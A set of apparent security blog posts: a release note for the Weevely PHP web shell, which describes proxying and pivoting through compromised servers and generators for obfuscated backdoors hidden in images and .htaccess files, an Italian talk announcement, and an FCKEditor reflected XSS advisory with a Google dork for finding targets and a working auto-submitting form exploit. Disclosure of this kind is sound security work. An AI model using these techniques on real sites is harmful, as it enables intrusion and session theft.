Weevely v0.7 released!

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Weevely returns with improved stability, usability and with some delicious network features useful during your penetration testing or simple web shell management.

To download it go to official page or simply upgrade your BackBox and start using it reading with a quick tutorial.

New modules

Here’s what new modules you’ll get with 0.7 release:

  • net.proxy module forwards your HTTP traffic trough remote target machine as a real proxy. First run :net.proxy, then set ‘http://localhost:8080′ as HTTP proxy in your favourite web browser and browse anonymously through target web server.
  • net.php_proxy module installs a PHP script to browse anonymously through remote target machine.
  • net.scan module performs port scan from your target web server
  • file.rm module removes files and directories, also in restricted PHP enviroinments

New network modules are also useful to pivoting to internal hosts unreachable from public networks. Read here for detailed modules description.

Generators

Also, I’ve added new kind of generators modules to generate different kind of backdoors:

  • generate.php generates an obfuscated and polymorphic PHP backdoor. Is the default generator included in older version too.
  • generate.img appends polymorphic PHP backdoor to an existing image and creates associated .htaccess to enable its execution as PHP code.
  • generate.htaccess embed polymorphic PHP backdoor into a valid .htaccess that instruct apache to execute itself as PHP script. Awesome.

Read here about generators usage.

Talk @ HTML.it Release Party

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Raffaele Forte speaker all’evento organizzato a Roma il 2 Luglio da HTML.it.

Il founder del progetto BackBox Linux interverrà in materia di Sicurezza Applicativa con un talk dal titolo “CMS, Analisi automatica delle vulnerabilità”.

Un CMS vulnerabile può permettere ad un attaccante di prendere il pieno controllo del sito (Blog, Forum, e-commerce, etc.), fornendo la possibilità di modificare i contenuti, creare e rimuovere utenti e nel caso peggiore ottenere persino il controllo del server su cui è installato. Sempre più aziende ed enti istituzionali adottano questi strumenti, ma quali sono i vantaggi e che livello di sicurezza garantiscono gli attuali CMS? Affronteremo queste tematiche servendoci di metodologie e strumenti automatici di verifica delle vulnerabilità.

Maggiori informazioni le trovate sul sito ufficiale dell’evento.

FCKEditor reflected XSS vulnerability

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Emilio Pinna has recently found a reflected POST XSS on a popular web WYSIWYG editor called FCKEditor. In 2009 has been rewrited and fixed with new name CKEditor, but old version is still popular as stand-alone application as WordPress/Joomla/Drupal extensions and embedded as editor in of web applications.

The bugged software was spreaded for more than six years and actually Google counts still more than 1,5 billion of results. A plausbile Google dork filtering out PHP sources could be:

inurl:fck_spellerpages/spellerpages/server-scripts/ -”The following variables”

The vulnerability

The reflected XSS is injected through ‘textinputs’ POST parameter array, printed without sanization in line 27:

echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";

As usual, attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user’s browser session that visit resulting in a cookie stealing and bypass of admin access controls. Exploit is CRSF-like due to POST vulnerable parameter. Form exploit:

<html>
<body>
<iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe>
  <form method="post" name="sender"
   action="http://vuln.com//fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/
spellchecker.php" target="hidden">
   <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");
</script><!--' />
  </form>
</body>
<script>document.sender.submit(); </script>
</html>

Have fun!